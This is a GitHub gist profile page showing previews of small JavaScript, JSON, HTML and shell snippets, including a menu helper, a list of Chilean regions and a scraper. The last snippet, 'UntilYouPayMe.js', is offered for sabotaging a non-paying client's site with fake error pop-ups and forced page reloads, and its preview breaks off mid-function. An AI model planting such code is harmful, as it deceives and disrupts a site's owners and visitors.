Skip to content

Instantly share code, notes, and snippets.

View juanbrujo's full-sized avatar
:octocat:

Jorge Epuñan juanbrujo

:octocat:
View GitHub Profile
@juanbrujo
juanbrujo / jQuery.addClass2Menu.js
Created March 20, 2017 14:33
addClass2Menu: Add class to menu if certain height is reached
/**
* Add class to menu if certain height is reached
*/
function addClass2Menu(container, classname, height){
$(window).on('load scroll', function(){
var scroll = $(window).scrollTop();
if( scroll >= height) {
container.addClass(classname);
} else {
container.removeClass(classname);
@juanbrujo
juanbrujo / comunas-regiones.json
Last active April 19, 2024 21:12 — forked from sergiohidalgo/comunas-regiones-chile.json
Comunas y regiones de chile JSON
{
"regiones": [
{
"region": "Arica y Parinacota",
"comunas": ["Arica", "Camarones", "Putre", "General Lagos"]
},
{
"region": "Tarapacá",
"comunas": ["Iquique", "Alto Hospicio", "Pozo Almonte", "Camiña", "Colchane", "Huara", "Pica"]
},
@juanbrujo
juanbrujo / Pluralyze.js
Last active October 25, 2020 14:32
Pluralyze: check count to return singular / plural noun
function Pluralyze(count, noun) {
var suffix = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 's'
return count + ' ' + noun + (count !== 1 ? suffix : '')
}
// USE:
// Pluralyze(0, 'layer') => 0 layers
// Pluralyze(1, 'layer') => 1 layer
// Pluralyze(10, 'sandwich', 'es') => 10 sandwiches
@juanbrujo
juanbrujo / YoutubeSearchBookmarklet.js
Created January 16, 2017 15:02
Youtube Search Bookmarklet
javascript:(function(){
var youtube = 'https://www.youtube.com/results?search_query=';
var query = prompt('video query');
if(query != '') {
document.location.href = youtube + query;
}
})();
@juanbrujo
juanbrujo / react-app-scrapping.js
Created December 9, 2016 15:35
Scrapping a React App using PhantomJS and Cheerio
var phantom = require('phantom');
var Q = require('q');
var cheerio = require('cheerio');
var _ph, _page, _outObj;
var url = ABSOLUTE_URL; // change here for your React app site
phantom.create().then(ph => {
_ph = ph;
return _ph.createPage();
}).then(page => {
@juanbrujo
juanbrujo / fullSlider.css
Last active November 9, 2016 15:27
fullSlider: small, vanilla JS fullwidth slideshow used in BeerJS.cl website
.fullSlider {
position: relative;
display: block;
overflow: hidden;
}
.fullSlider figure {
position: absolute;
opacity: 0;
margin: 0;
-webkit-transition: 1s opacity;
@juanbrujo
juanbrujo / smartbanner.html
Created September 8, 2016 17:34
Smart banner simple implementation
<!--
More Info:https://developer.apple.com/library/ios/documentation/AppleApplications/Reference/SafariWebContent/PromotingAppswithAppBanners/PromotingAppswithAppBanners.html
CDN: https://cdnjs.com/libraries/jquery.smartbanner
-->
<script type="text/javascript">
var viewPortTagApple = document.createElement('meta');
viewPortTagApple.name = "apple-itunes-app";
viewPortTagApple.content = "app-id=XXXX";
var viewPortTagAndorid = document.createElement('meta');
viewPortTagAndorid.name = "google-play-app";
@juanbrujo
juanbrujo / oh-my-zsh.sh
Last active August 29, 2016 13:53
OH MY ZSH base config
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH
# Path to your oh-my-zsh installation.
export ZSH=/Users/jepunan/.oh-my-zsh
# Set name of the theme to load. Optionally, if you set this to "random"
# it'll load a random theme each time that oh-my-zsh is loaded.
# See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
ZSH_THEME="avit"
@juanbrujo
juanbrujo / getAllUrlParams.js
Created August 29, 2016 12:25
getAllUrlParams.js
/**
* getAllUrlParams( @url );
* url: https://www.sitepoint.com/get-url-parameters-with-javascript/
*/
function getAllUrlParams(url) {
var queryString = url ? url.split('?')[1] : window.location.search.slice(1);
var obj = {};
if (queryString) {
@juanbrujo
juanbrujo / UntilYouPayMe.js
Last active December 15, 2016 14:15
Use this JavaScript function to annoy your clients that insist in not paying you.
(function(){
function randomErrors(){
var errorMessages = ['Unexpected Error!','Something happended, please try again'];
var randomMessage = errorMessages[Math.floor(Math.random() * errorMessages.length)];
var currentURL = (window.location != window.parent.location) ? document.referrer : document.location;
if (confirm( randomMessage )) {
window.location.reload(true);
} else {
window.location.reload(true);
}